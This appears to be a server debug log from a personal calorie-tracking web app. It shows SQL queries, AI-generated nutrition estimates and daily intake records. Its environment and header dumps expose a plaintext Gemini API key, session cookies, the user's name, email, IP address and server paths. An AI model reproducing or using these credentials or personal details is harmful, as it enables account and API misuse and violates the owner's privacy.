    skip_reason: 'Excellent source of quick carbohydrates for energy, especially beneficial for pre or post-workout recovery. Provides potassium crucial for muscle function and electrolyte balance. A good choice for muscle development.'
  },
  {
    id: 376,
    intake_date: '2025-12-12T18:30:00.000Z',
    item_name: 'Papaya',
    calories: 77,
    protein_gm: 1,
    carbs_gm: 20,
    fat_gm: 1,
    quantity: '3 slices (approx 180g, assuming 60g per slice)',
    replacements: 'Cucumber,Watermelon,Cantaloupe',
    created_at: '2025-12-13T01:33:03.000Z',
    skip_level: 1,
    skip_reason: 'Low in calories and rich in vitamins (C and A) and antioxidants. Contains papain, an enzyme that aids digestion, which can be beneficial. Good for hydration and general health support for an active lifestyle.'
  }
]
2025-12-13T07:03:04.868Z server-connect:app Executing action step setvalue
2025-12-13T07:03:04.868Z server-connect:app options: { key: 'var_total', value: "{{item_list.sum('calories')}}" }
2025-12-13T07:03:04.868Z server-connect:output var_total: 471
2025-12-13T07:03:04.868Z server-connect:app Executing action step setvalue
2025-12-13T07:03:04.868Z server-connect:app options: {
  key: 'var_consumed',
  value: '{{((var_total / requirements.maintenance_calories)*100).round(0)}}'
}
2025-12-13T07:03:04.868Z server-connect:output var_consumed: 20
2025-12-13T07:03:04.868Z server-connect:app Executing action step setvalue
2025-12-13T07:03:04.868Z server-connect:app options: {
  key: 'var_deficit',
  value: '{{requirements.maintenance_calories-var_total}}'
}
2025-12-13T07:03:04.868Z server-connect:output var_deficit: 1929
2025-12-13T07:03:04.868Z server-connect:app Executing action step custom
2025-12-13T07:03:04.868Z server-connect:app options: {
  connection: 'db',
  sql: {
    query: 'SELECT\n' +
      '  ct.intake_date,\n' +
      '  SUM(ct.calories) AS total_consumed,\n' +
      '  COALESCE(cr.maintenance_calories, 0) - SUM(ct.calories) AS surplus_or_deficit,\n' +
      '  CASE\n' +
      '    WHEN SUM(ct.calories) > COALESCE(cr.maintenance_calories, 0) THEN 0\n' +
      '    WHEN SUM(ct.calories) >= COALESCE(cr.target_calories, 0) THEN 1\n' +
      '    ELSE 2\n' +
      '  END AS status_flag\n' +
      'FROM calories_tracking ct\n' +
      'LEFT JOIN (\n' +
      '  -- pick the requirement row that covers TODAY (CURDATE())\n' +
      '  SELECT *\n' +
      '  FROM calories_requirement\n' +
      '  WHERE DATE(start_date) <= CURDATE()\n' +
      '    AND DATE(end_date)   >= CURDATE()\n' +
      '  ORDER BY start_date DESC\n' +
      '  LIMIT 1\n' +
      ') cr ON 1 = 1\n' +
      "WHERE ct.intake_date >= DATE_FORMAT(CURDATE(), '%Y-%m-01')\n" +
      "  AND ct.intake_date <  DATE_ADD(DATE_FORMAT(CURDATE(), '%Y-%m-01'), INTERVAL 1 MONTH)\n" +
      'GROUP BY ct.intake_date\n' +
      'ORDER BY ct.intake_date;',
    params: []
  }
}
2025-12-13T07:03:04.869Z server-connect:output monthly_chart: [
  {
    intake_date: 2025-11-30T18:30:00.000Z,
    total_consumed: '1890',
    surplus_or_deficit: '510',
    status_flag: 1
  },
  {
    intake_date: 2025-12-01T18:30:00.000Z,
    total_consumed: '1094',
    surplus_or_deficit: '1306',
    status_flag: 2
  },
  {
    intake_date: 2025-12-02T18:30:00.000Z,
    total_consumed: '1923',
    surplus_or_deficit: '477',
    status_flag: 1
  },
  {
    intake_date: 2025-12-03T18:30:00.000Z,
    total_consumed: '1851',
    surplus_or_deficit: '549',
    status_flag: 1
  },
  {
    intake_date: 2025-12-04T18:30:00.000Z,
    total_consumed: '2435',
    surplus_or_deficit: '-35',
    status_flag: 0
  },
  {
    intake_date: 2025-12-05T18:30:00.000Z,
    total_consumed: '1055',
    surplus_or_deficit: '1345',
    status_flag: 2
  },
  {
    intake_date: 2025-12-07T18:30:00.000Z,
    total_consumed: '2303',
    surplus_or_deficit: '97',
    status_flag: 1
  },
  {
    intake_date: 2025-12-08T18:30:00.000Z,
    total_consumed: '1571',
    surplus_or_deficit: '829',
    status_flag: 2
  },
  {
    intake_date: 2025-12-09T18:30:00.000Z,
    total_consumed: '1297',
    surplus_or_deficit: '1103',
    status_flag: 2
  },
  {
    intake_date: 2025-12-12T18:30:00.000Z,
    total_consumed: '471',
    surplus_or_deficit: '1929',
    status_flag: 2
  }
]
2025-12-13T07:26:03.080Z server-connect:router Serving serverConnect /api/gemini/calculate-calorie
2025-12-13T07:26:03.081Z server-connect:app Executing action step identify
2025-12-13T07:26:03.081Z server-connect:app options: { provider: 'security' }
2025-12-13T07:26:03.081Z server-connect:output identity: 1
2025-12-13T07:26:03.081Z server-connect:app Executing action step restrict
2025-12-13T07:26:03.081Z server-connect:app options: { provider: 'security', permissions: [ 'Active' ] }
2025-12-13T07:26:03.083Z server-connect:output restrict: undefined
2025-12-13T07:26:03.083Z server-connect:app Executing action step processWithGemini
2025-12-13T07:26:03.083Z server-connect:app options: { request_type: 'calories', raw_text: '{{$_POST.calorie_query}}' }
2025-12-13T07:26:18.925Z server-connect:output calculate_calorie: {
  items: [
    {
      food_name: 'Whey Protein',
      quantity: '1 scoop (approx 32g)',
      total_calories: 138,
      protein: 27,
      carbs: 3,
      fat: 2,
      lower_calorie_alternatives: [Array],
      skip_level: 1,
      skip_reason: "Excellent for muscle repair and growth. It's a fast-digesting, high-quality protein source, crucial for post-workout recovery and meeting protein targets for muscle development, especially with frequent gym sessions."
    }
  ],
  total_protein: 27,
  total_carbs: 3,
  total_fat: 2,
  total_calories: 138,
  unit: 'g'
}
2025-12-13T07:26:27.294Z server-connect:router Serving serverConnect /api/health/manage-calories
2025-12-13T07:26:27.295Z server-connect:app Executing action step identify
2025-12-13T07:26:27.295Z server-connect:app options: { provider: 'security' }
2025-12-13T07:26:27.295Z server-connect:output identity: 1
2025-12-13T07:26:27.295Z server-connect:app Executing action step restrict
2025-12-13T07:26:27.295Z server-connect:app options: { provider: 'security', permissions: [ 'Active' ] }
2025-12-13T07:26:27.296Z server-connect:output restrict: undefined
2025-12-13T07:26:27.296Z server-connect:app Executing action step condition
2025-12-13T07:26:27.296Z server-connect:app options: {
  if: '{{$_POST.items.length}}',
  then: {
    steps: {
      name: 'repeat',
      module: 'core',
      action: 'repeat',
      options: [Object],
      output: true,
      meta: [Array],
      outputType: 'array'
    }
  }
}
2025-12-13T07:26:27.296Z server-connect:app Executing action step repeat
2025-12-13T07:26:27.296Z server-connect:app options: {
  repeat: '{{$_POST.items}}',
  outputFields: [],
  exec: {
    steps: {
      name: 'calories',
      module: 'dbupdater',
      action: 'insert',
      options: [Object],
      meta: [Array]
    }
  }
}
2025-12-13T07:26:27.296Z server-connect:app Executing action step insert
2025-12-13T07:26:27.296Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'insert',
    values: [
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object]
    ],
    table: 'calories_tracking',
    returning: 'id',
    query: 'insert into `calories_tracking` (`calories`, `carbs_gm`, `created_at`, `fat_gm`, `intake_date`, `item_name`, `protein_gm`, `quantity`, `replacements`, `skip_level`, `skip_reason`) values (?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?)',
    params: [
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object]
    ]
  }
}
2025-12-13T07:26:27.298Z server-connect:output calories: { affected: 1, identity: 377 }
2025-12-13T07:26:27.298Z server-connect:output repeat: [ {} ]
2025-12-13T07:26:27.298Z server-connect:output condition: undefined
2025-12-13T07:26:27.508Z server-connect:router Serving templateView /calorie-tracker
2025-12-13T07:26:27.508Z server-connect:app Executing action step identify
2025-12-13T07:26:27.508Z server-connect:app options: { provider: 'security' }
2025-12-13T07:26:27.508Z server-connect:output identity: 1
2025-12-13T07:26:27.508Z server-connect:app Executing action step restrict
2025-12-13T07:26:27.508Z server-connect:app options: {
  provider: 'security',
  permissions: [ 'Active' ],
  loginUrl: '/login',
  forbiddenUrl: '/login'
}
2025-12-13T07:26:27.509Z server-connect:output restrict: undefined
2025-12-13T07:26:27.509Z server-connect:router Render template layouts/main
2025-12-13T07:26:27.509Z server-connect:router Template data: {
  '$value': undefined,
  '$_ERROR': null,
  '$_ENV': {
    BASE_URL: 'https://ems.sanjaychaurasia.xyz',
    CL_VIRTUAL_ENV: '/home/tocyxovu/nodevenv/ems/22',
    LSNODE_STARTUP_FILE: 'index.js',
    BKP_NODE_PATH: '',
    CL_APP_ROOT: 'ems',
    NODE_PATH: '/home/tocyxovu/nodevenv/ems/22/lib/node_modules:/opt/alt/alt-nodejs22/root/lib/node_modules:/opt/alt/alt-nodejs22/root/lib64/node_modules:',
    LSNODE_SOCKET: '/usr/local/lsws/extapp-sock/APVH_ems.sanjaychaurasia.xyz:443:_.sock',
    LSAPI_PPID_NO_CHECK: '1',
    LSAPI_PGRP_MAX_IDLE: '300',
    NODE_ENV: 'development',
    LSNODE_ROOT: '/home/tocyxovu/ems/',
    BKP_PATH: '/usr/local/bin:/bin:/usr/bin',
    PWD: '/home/tocyxovu/nodevenv/ems/22/bin',
    HOME: '/home/tocyxovu',
    CL_NODEHOME: '/opt/alt/alt-nodejs22/root',
    GEMINI_API_KEY: 'AIzaSyA4zE36yqNwbeRyxb3UsKcEB5XrUybrhs8',
    SHLVL: '0',
    BKP_PS1: '',
    PATH: '/home/tocyxovu/nodevenv/ems/22/bin:/opt/alt/alt-nodejs22/root/usr/bin:/home/tocyxovu/nodevenv/ems/22/lib/bin/:/usr/local/bin:/bin:/usr/bin',
    PS1: '[ems (22)] ',
    DEBUG: 'server-connect:*'
  },
  '$_GET': {},
  '$_POST': {},
  '$_PARAM': {},
  '$_HEADER': {
    host: 'ems.sanjaychaurasia.xyz',
    'cache-control': 'max-age=0',
    'sec-ch-ua': '"Google Chrome";v="143", "Chromium";v="143", "Not A(Brand";v="24"',
    'sec-ch-ua-mobile': '?0',
    'sec-ch-ua-platform': '"macOS"',
    'upgrade-insecure-requests': '1',
    'user-agent': 'Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/143.0.0.0 Safari/537.36',
    accept: 'text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7',
    'service-worker-navigation-preload': 'true',
    'sec-fetch-site': 'same-origin',
    'sec-fetch-mode': 'navigate',
    'sec-fetch-user': '?1',
    'sec-fetch-dest': 'document',
    referer: 'https://ems.sanjaychaurasia.xyz/calorie-tracker',
    'accept-encoding': 'gzip,br',
    'accept-language': 'en-US,en;q=0.9,hi;q=0.8,fr;q=0.7',
    'if-none-match': 'W/"12b52-0d2A05mHiBW1SmaE1c2HqCHEd/k"',
    priority: 'u=0, i',
    cookie: 'security.auth=s%3AX4syas%2BW52SRL8GUQFDWvg%3D%3D.uobaIc%2BHVwvdoFGF5ZjFZyh4%2BWaCXt1tiHEd3PLnVgO45SVcLX1rkMCjtUx0z6ZJPOTgeXamJe6AmU8P6mi80AvSaO04ihotdfVtZgFp%2BWa3mVhtE27rw%2BmwxFJI3s%2FkcE%2Bxr9N7lghqjkIhNjmOIu%2BRvbGVsMkQCk%2FiiUFuAhw%3D.3QkGv7zB1NSKO6YZ16c72PKLL7SNVXJSvMEdT4KTk2k; your_r_git.sid=s%3AFFBXwIU1aV7RMz8CUgfDhDo30InLO_mU.0W0kxOW8ZJNXb%2FZcyCg650LItvc8byKSUXj4YYJG0Ms',
    'x-forwarded-for': '49.43.180.152',
    connection: 'keep-alive',
    'x-forwarded-host': 'ems.sanjaychaurasia.xyz',
    'x-forwarded-proto': 'https'
  },
  '$_COOKIE': {},
  '$_SESSION': Session {
    cookie: {
      path: '/',
      _expires: 2025-12-14T06:28:58.121Z,
      originalMaxAge: 86400000,
      httpOnly: true
    },
    securityId: 1
  },
  '$_SERVER': {
    CONTENT_TYPE: undefined,
    HTTPS: true,
    PATH_INFO: '/calorie-tracker',
    QUERY_STRING: undefined,
    REMOTE_ADDR: '49.43.180.152',
    REQUEST_PROTOCOL: 'https',
    REQUEST_METHOD: 'GET',
    SERVER_NAME: 'ems.sanjaychaurasia.xyz',
    BASE_URL: 'https://ems.sanjaychaurasia.xyz',
    URL: '/calorie-tracker',
    HOSTNAME: 's6519.dnspark.in',
    HTTP_HOST: 'ems.sanjaychaurasia.xyz',
    HTTP_CACHE_CONTROL: 'max-age=0',
    'HTTP_SEC_CH-UA': '"Google Chrome";v="143", "Chromium";v="143", "Not A(Brand";v="24"',
    'HTTP_SEC_CH-UA-MOBILE': '?0',
    'HTTP_SEC_CH-UA-PLATFORM': '"macOS"',
    'HTTP_UPGRADE_INSECURE-REQUESTS': '1',
    HTTP_USER_AGENT: 'Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/143.0.0.0 Safari/537.36',
    HTTP_ACCEPT: 'text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7',
    'HTTP_SERVICE_WORKER-NAVIGATION-PRELOAD': 'true',
    'HTTP_SEC_FETCH-SITE': 'same-origin',
    'HTTP_SEC_FETCH-MODE': 'navigate',
    'HTTP_SEC_FETCH-USER': '?1',
    'HTTP_SEC_FETCH-DEST': 'document',
    HTTP_REFERER: 'https://ems.sanjaychaurasia.xyz/calorie-tracker',
    HTTP_ACCEPT_ENCODING: 'gzip,br',
    HTTP_ACCEPT_LANGUAGE: 'en-US,en;q=0.9,hi;q=0.8,fr;q=0.7',
    'HTTP_IF_NONE-MATCH': 'W/"12b52-0d2A05mHiBW1SmaE1c2HqCHEd/k"',
    HTTP_PRIORITY: 'u=0, i',
    HTTP_COOKIE: 'security.auth=s%3AX4syas%2BW52SRL8GUQFDWvg%3D%3D.uobaIc%2BHVwvdoFGF5ZjFZyh4%2BWaCXt1tiHEd3PLnVgO45SVcLX1rkMCjtUx0z6ZJPOTgeXamJe6AmU8P6mi80AvSaO04ihotdfVtZgFp%2BWa3mVhtE27rw%2BmwxFJI3s%2FkcE%2Bxr9N7lghqjkIhNjmOIu%2BRvbGVsMkQCk%2FiiUFuAhw%3D.3QkGv7zB1NSKO6YZ16c72PKLL7SNVXJSvMEdT4KTk2k; your_r_git.sid=s%3AFFBXwIU1aV7RMz8CUgfDhDo30InLO_mU.0W0kxOW8ZJNXb%2FZcyCg650LItvc8byKSUXj4YYJG0Ms',
    'HTTP_X_FORWARDED-FOR': '49.43.180.152',
    HTTP_CONNECTION: 'keep-alive',
    'HTTP_X_FORWARDED-HOST': 'ems.sanjaychaurasia.xyz',
    'HTTP_X_FORWARDED-PROTO': 'https'
  },
  identity: 1,
  content: '/calorie-tracker'
}
2025-12-13T07:26:28.131Z server-connect:router Serving serverConnect /api/access-control/user-info
2025-12-13T07:26:28.133Z server-connect:router Serving serverConnect /api/masters/get-items
2025-12-13T07:26:28.133Z server-connect:router Serving serverConnect /api/health/todays-calories
2025-12-13T07:26:28.133Z server-connect:app Executing action step identify
2025-12-13T07:26:28.133Z server-connect:app options: { provider: 'security' }
2025-12-13T07:26:28.134Z server-connect:output identity: 1
2025-12-13T07:26:28.134Z server-connect:app Executing action step restrict
2025-12-13T07:26:28.134Z server-connect:app options: { provider: 'security', permissions: [ 'Active' ] }
2025-12-13T07:26:28.134Z server-connect:app Executing action step identify
2025-12-13T07:26:28.134Z server-connect:app options: { provider: 'security' }
2025-12-13T07:26:28.134Z server-connect:output identity: 1
2025-12-13T07:26:28.134Z server-connect:app Executing action step restrict
2025-12-13T07:26:28.134Z server-connect:app options: { provider: 'security', permissions: [ 'Active' ] }
2025-12-13T07:26:28.134Z server-connect:app Executing action step identify
2025-12-13T07:26:28.134Z server-connect:app options: { provider: 'security' }
2025-12-13T07:26:28.134Z server-connect:output identity: 1
2025-12-13T07:26:28.134Z server-connect:app Executing action step restrict
2025-12-13T07:26:28.134Z server-connect:app options: { provider: 'security', permissions: [ 'Active' ] }
2025-12-13T07:26:28.135Z server-connect:output restrict: undefined
2025-12-13T07:26:28.135Z server-connect:app Executing action step single
2025-12-13T07:26:28.135Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'select',
    columns: [ [Object], [Object], [Object], [Object] ],
    params: [],
    table: { name: 'user' },
    primary: 'id',
    joins: [],
    query: 'select `first_name`, `last_name`, `email`, `id` from `user`'
  }
}
2025-12-13T07:26:28.135Z server-connect:output restrict: undefined
2025-12-13T07:26:28.135Z server-connect:app Executing action step select
2025-12-13T07:26:28.135Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'SELECT',
    columns: [ [Object], [Object], [Object] ],
    params: [],
    table: { name: 'sub_categories' },
    primary: 'id',
    joins: [ [Object] ],
    query: 'select `sub_categories`.`subcategory_name` as `item_name`, `sub_categories`.`id` as `item_id`, `categories`.`category_name` from `sub_categories` inner join `categories` on `categories`.`id` = `sub_categories`.`category_id`'
  }
}
2025-12-13T07:26:28.136Z server-connect:output restrict: undefined
2025-12-13T07:26:28.136Z server-connect:app Executing action step single
2025-12-13T07:26:28.136Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'SELECT',
    columns: [ [Object], [Object], [Object], [Object], [Object], [Object] ],
    params: [ [Object], [Object] ],
    table: { name: 'calories_requirement' },
    joins: [],
    primary: 'id',
    wheres: {
      condition: 'AND',
      rules: [Array],
      conditional: null,
      valid: true
    },
    query: 'select `id`, `start_date`, `end_date`, `maintenance_calories`, `weight_kg`, `target_calories` from `calories_requirement` where `calories_requirement`.`start_date` <= ? and `calories_requirement`.`end_date` >= ?'
  }
}
2025-12-13T07:26:28.137Z server-connect:output user_info: {
  first_name: 'Sanjay',
  last_name: 'Kumar',
  email: 'engineer.sanjay20@gmail.com',
  id: 1
}
2025-12-13T07:26:28.142Z server-connect:output list: [
  { item_name: 'Clothing', item_id: 27, category_name: 'Apparel' },
  { item_name: 'Fashion', item_id: 28, category_name: 'Apparel' },
  { item_name: 'Shoes', item_id: 29, category_name: 'Apparel' },
  { item_name: 'Kurta Mens', item_id: 154, category_name: 'Apparel' },
  { item_name: 'Baby Towel', item_id: 161, category_name: 'Apparel' },
  { item_name: 'Bra', item_id: 178, category_name: 'Apparel' },
  { item_name: 'Dress', item_id: 188, category_name: 'Apparel' },
  { item_name: 'Stole', item_id: 193, category_name: 'Apparel' },
  { item_name: 'Leggings', item_id: 206, category_name: 'Apparel' },
  {
    item_name: 'Jockey Thermal Top',
    item_id: 208,
    category_name: 'Apparel'
  },
  { item_name: 'Chudas', item_id: 238, category_name: 'Apparel' },
  {
    item_name: 'Artifial Jwellery',
    item_id: 245,
    category_name: 'Apparel'
  },
  { item_name: 'Blazer', item_id: 267, category_name: 'Apparel' },
  { item_name: 'Nehru Jacket', item_id: 268, category_name: 'Apparel' },
  { item_name: 'Belt', item_id: 270, category_name: 'Apparel' },
  { item_name: 'Loafer', item_id: 272, category_name: 'Apparel' },
  { item_name: 'Pant', item_id: 274, category_name: 'Apparel' },
  {
    item_name: 'Winter Jacket',
    item_id: 275,
    category_name: 'Apparel'
  },
  { item_name: 'Girl Jacket', item_id: 276, category_name: 'Apparel' },
  { item_name: 'T Shirt', item_id: 277, category_name: 'Apparel' },
  { item_name: 'Shopping Bag', item_id: 278, category_name: 'Apparel' },
  { item_name: 'Blouse', item_id: 377, category_name: 'Apparel' },
  { item_name: 'Chappal', item_id: 378, category_name: 'Apparel' },
  { item_name: 'Saree', item_id: 392, category_name: 'Apparel' },
  { item_name: 'Skirt', item_id: 450, category_name: 'Apparel' },
  { item_name: 'Stall', item_id: 477, category_name: 'Apparel' },
  { item_name: 'Shorts', item_id: 529, category_name: 'Apparel' },
  { item_name: 'Juti', item_id: 616, category_name: 'Apparel' },
  {
    item_name: 'Cloth Fitting',
    item_id: 643,
    category_name: 'Apparel'
  },
  { item_name: 'Underwear', item_id: 651, category_name: 'Apparel' },
  { item_name: 'Cosmentics', item_id: 31, category_name: 'Beauty' },
  { item_name: 'Makeup', item_id: 32, category_name: 'Beauty' },
  { item_name: 'Accessories', item_id: 33, category_name: 'Beauty' },
  {
    item_name: 'Gillete Gaurd Machine',
    item_id: 135,
    category_name: 'Beauty'
  },
  {
    item_name: 'Gillete Gaurd Blades',
    item_id: 137,
    category_name: 'Beauty'
  },
  {
    item_name: 'Loreal Parish Condition',
    item_id: 176,
    category_name: 'Beauty'
  },
  {
    item_name: 'Shahnaz Hussain Facial Pack',
    item_id: 179,
    category_name: 'Beauty'
  },
  {
    item_name: 'Elle 18 Crayon',
    item_id: 180,
    category_name: 'Beauty'
  },
  { item_name: 'Hair Gel MG5', item_id: 273, category_name: 'Beauty' },
  {
    item_name: 'Ponds Whity Beuty',
    item_id: 324,
    category_name: 'Beauty'
  },
  {
    item_name: 'Ponds face wash',
    item_id: 326,
    category_name: 'Beauty'
  },
  { item_name: 'Hair clip', item_id: 337, category_name: 'Beauty' },
  { item_name: 'Lotus cream', item_id: 437, category_name: 'Beauty' },
  { item_name: 'Hair Band', item_id: 476, category_name: 'Beauty' },
  {
    item_name: 'Loreal Conditional',
    item_id: 561,
    category_name: 'Beauty'
  },
  {
    item_name: 'Ram Narayan Jwellery',
    item_id: 564,
    category_name: 'Beauty'
  },
  {
    item_name: 'Boutique moisturizing cream',
    item_id: 592,
    category_name: 'Beauty'
  },
  { item_name: 'D tan', item_id: 593, category_name: 'Beauty' },
  { item_name: 'Pani Puri', item_id: 56, category_name: 'Eating Out' },
  { item_name: 'Cold Drink', item_id: 59, category_name: 'Eating Out' },
  { item_name: 'Lunch', item_id: 63, category_name: 'Eating Out' },
  { item_name: 'Dinner', item_id: 64, category_name: 'Eating Out' },
  {
    item_name: 'Chicken Tikka',
    item_id: 67,
    category_name: 'Eating Out'
  },
  { item_name: 'Momos', item_id: 68, category_name: 'Eating Out' },
  { item_name: 'Faluda', item_id: 69, category_name: 'Eating Out' },
  { item_name: 'Pastry', item_id: 72, category_name: 'Eating Out' },
  {
    item_name: 'Fruit Cream',
    item_id: 73,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Rabdi Bottle',
    item_id: 74,
    category_name: 'Eating Out'
  },
  { item_name: 'Idli Fry', item_id: 80, category_name: 'Eating Out' },
  {
    item_name: 'Ferroro Rocher Shake',
    item_id: 82,
    category_name: 'Eating Out'
  },
  { item_name: 'Sandwich', item_id: 83, category_name: 'Eating Out' },
  {
    item_name: 'Pineapple Juice',
    item_id: 84,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Mausmi Juice',
    item_id: 85,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Kitkat Shake',
    item_id: 87,
    category_name: 'Eating Out'
  },
  { item_name: 'Tea', item_id: 100, category_name: 'Eating Out' },
  {
    item_name: 'Bread Butter',
    item_id: 104,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Spring Roll',
    item_id: 114,
    category_name: 'Eating Out'
  },
  { item_name: 'Red Bull', item_id: 125, category_name: 'Eating Out' },
  { item_name: 'Nimbuz', item_id: 132, category_name: 'Eating Out' },
  {
    item_name: 'Kadi kachori',
    item_id: 140,
    category_name: 'Eating Out'
  },
  { item_name: 'Nimu soda', item_id: 141, category_name: 'Eating Out' },
  {
    item_name: 'Chocho Lottie Pie',
    item_id: 156,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Manchurian',
    item_id: 157,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Cold coffee',
    item_id: 158,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Sprite Cold Drink',
    item_id: 170,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Snickers Chochlate',
    item_id: 171,
    category_name: 'Eating Out'
  },
  { item_name: 'Puff Corn', item_id: 172, category_name: 'Eating Out' },
  {
    item_name: 'Cadbusy Fuse Chochlate',
    item_id: 174,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Five Starts Chochlate',
    item_id: 175,
    category_name: 'Eating Out'
  },
  { item_name: 'Mithai', item_id: 190, category_name: 'Eating Out' },
  {
    item_name: 'Real Juice',
    item_id: 195,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Fanta Cold Drink',
    item_id: 198,
    category_name: 'Eating Out'
  },
  { item_name: 'Ice Cream', item_id: 199, category_name: 'Eating Out' },
  {
    item_name: 'Chicken Ready Made',
    item_id: 203,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Sunfest Yuppie Noodles',
    item_id: 204,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Kingfisher mint cold drink',
    item_id: 205,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Ghewar Mithai',
    item_id: 226,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Moti choor Ladoo',
    item_id: 227,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Chichen Tikka Roll',
    item_id: 233,
    category_name: 'Eating Out'
  },
  { item_name: 'Pav Bhaji', item_id: 234, category_name: 'Eating Out' },
  { item_name: 'Fish', item_id: 235, category_name: 'Eating Out' },
  { item_name: 'Dabeli', item_id: 236, category_name: 'Eating Out' },
  {
    item_name: 'Gulab Jamun',
    item_id: 248,
    category_name: 'Eating Out'
  },
  { item_name: 'soya chap', item_id: 255, category_name: 'Eating Out' },
  {
    item_name: 'Pineapple shake',
    item_id: 256,
    category_name: 'Eating Out'
  },
  { item_name: 'Tiffin', item_id: 259, category_name: 'Eating Out' },
  { item_name: 'Pizza', item_id: 260, category_name: 'Eating Out' },
  {
    item_name: 'Sitafal Thick Shake',
    item_id: 261,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Fruit Punch thick shake',
    item_id: 262,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Chole Kulche',
    item_id: 264,
    category_name: 'Eating Out'
  },
  ... 534 more items
]
2025-12-13T07:26:28.144Z server-connect:output requirements: {
  id: 3,
  start_date: '2025-11-09T18:30:00.000Z',
  end_date: '2025-12-29T18:30:00.000Z',
  maintenance_calories: 2400,
  weight_kg: '71.00',
  target_calories: 1800
}
2025-12-13T07:26:28.145Z server-connect:app Executing action step select
2025-12-13T07:26:28.145Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'SELECT',
    columns: [],
    params: [ [Object] ],
    table: { name: 'calories_tracking' },
    primary: 'id',
    joins: [],
    wheres: {
      condition: 'AND',
      rules: [Array],
      conditional: null,
      valid: true
    },
    query: 'select * from `calories_tracking` where `calories_tracking`.`intake_date` = ? order by `id` ASC',
    orders: [ [Object] ]
  }
}
2025-12-13T07:26:28.147Z server-connect:output item_list: [
  {
    id: 371,
    intake_date: '2025-12-12T18:30:00.000Z',
    item_name: 'Pre-workout',
    calories: 10,
    protein_gm: 0,
    carbs_gm: 2,
    fat_gm: 0,
    quantity: '1 scoop (6.5 gm)',
    replacements: 'Black coffee,Water',
    created_at: '2025-12-13T01:05:52.000Z',
    skip_level: 1,
    skip_reason: 'Enhances performance and focus during early morning workouts without significant caloric intake. Beneficial for muscle development goal.'
  },
  {
    id: 372,
    intake_date: '2025-12-12T18:30:00.000Z',
    item_name: 'Paneer',
    calories: 145,
    protein_gm: 9,
    carbs_gm: 2,
    fat_gm: 11,
    quantity: '50 gm',
    replacements: 'Low-fat paneer (reduced fat content, fewer calories),Tofu (lower fat, good protein),Chicken breast (lean protein, low fat),Egg whites (pure protein, no fat),Greek yogurt (high protein, often low fat)',
    created_at: '2025-12-13T01:05:52.000Z',
    skip_level: 1,
    skip_reason: 'Excellent source of high-quality protein and healthy fats, crucial for muscle repair, growth, and satiety, especially important for a muscle development goal with consistent gym activity.'
  },
  {
    id: 373,
    intake_date: '2025-12-12T18:30:00.000Z',
    item_name: 'Milk Sugar Tea',
    calories: 102,
    protein_gm: 3,
    carbs_gm: 15,
    fat_gm: 4,
    quantity: '1 small cup (approx 100ml full-fat milk, 10g sugar)',
    replacements: 'Black tea (0 calories),Green tea (0 calories),Tea with artificial sweetener (e.g., stevia, sucralose),Tea with skim milk or low-fat milk (reduced calories, fat),Tea with less sugar or no sugar',
    created_at: '2025-12-13T01:05:52.000Z',
    skip_level: 3,
    skip_reason: 'This item is high in added sugar, providing empty calories that contribute minimally to muscle development and can hinder fat loss efforts. For someone with a desk job and a muscle development goal, minimizing added sugars is key to maintaining a lean physique and optimizing nutrient intake. Full-fat milk also adds unnecessary calories and saturated fat that could be optimized by using skim or low-fat milk.'
  },
  {
    id: 374,
    intake_date: '2025-12-12T18:30:00.000Z',
    item_name: 'Milk Tea (without sugar)',
    calories: 48,
    protein_gm: 2,
    carbs_gm: 4,
    fat_gm: 3,
    quantity: "1 cup (approx 200ml, assuming 75ml full-fat cow's milk and 125ml brewed black tea)",
    replacements: 'Tea with skim milk or low-fat milk,Black tea or green tea (zero calories),Herbal tea',
    created_at: '2025-12-13T01:32:31.000Z',
    skip_level: 1,
    skip_reason: 'Milk tea without sugar is a generally good choice, especially for someone with your activity level and muscle development goals. Milk provides essential protein and calcium, beneficial for muscle repair and bone health. By skipping sugar, you avoid empty calories and added sugars, making it a much healthier beverage choice.'
  },
  {
    id: 375,
    intake_date: '2025-12-12T18:30:00.000Z',
    item_name: 'Banana',
    calories: 89,
    protein_gm: 1,
    carbs_gm: 23,
    fat_gm: 0,
    quantity: '1 medium (approx 100g edible portion)',
    replacements: 'Berries (e.g., strawberries, blueberries),Apple,Guava',
    created_at: '2025-12-13T01:33:03.000Z',
    skip_level: 1,
    skip_reason: 'Excellent source of quick carbohydrates for energy, especially beneficial for pre or post-workout recovery. Provides potassium crucial for muscle function and electrolyte balance. A good choice for muscle development.'
  },
  {
    id: 376,
    intake_date: '2025-12-12T18:30:00.000Z',
    item_name: 'Papaya',
    calories: 77,
    protein_gm: 1,
    carbs_gm: 20,
    fat_gm: 1,
    quantity: '3 slices (approx 180g, assuming 60g per slice)',
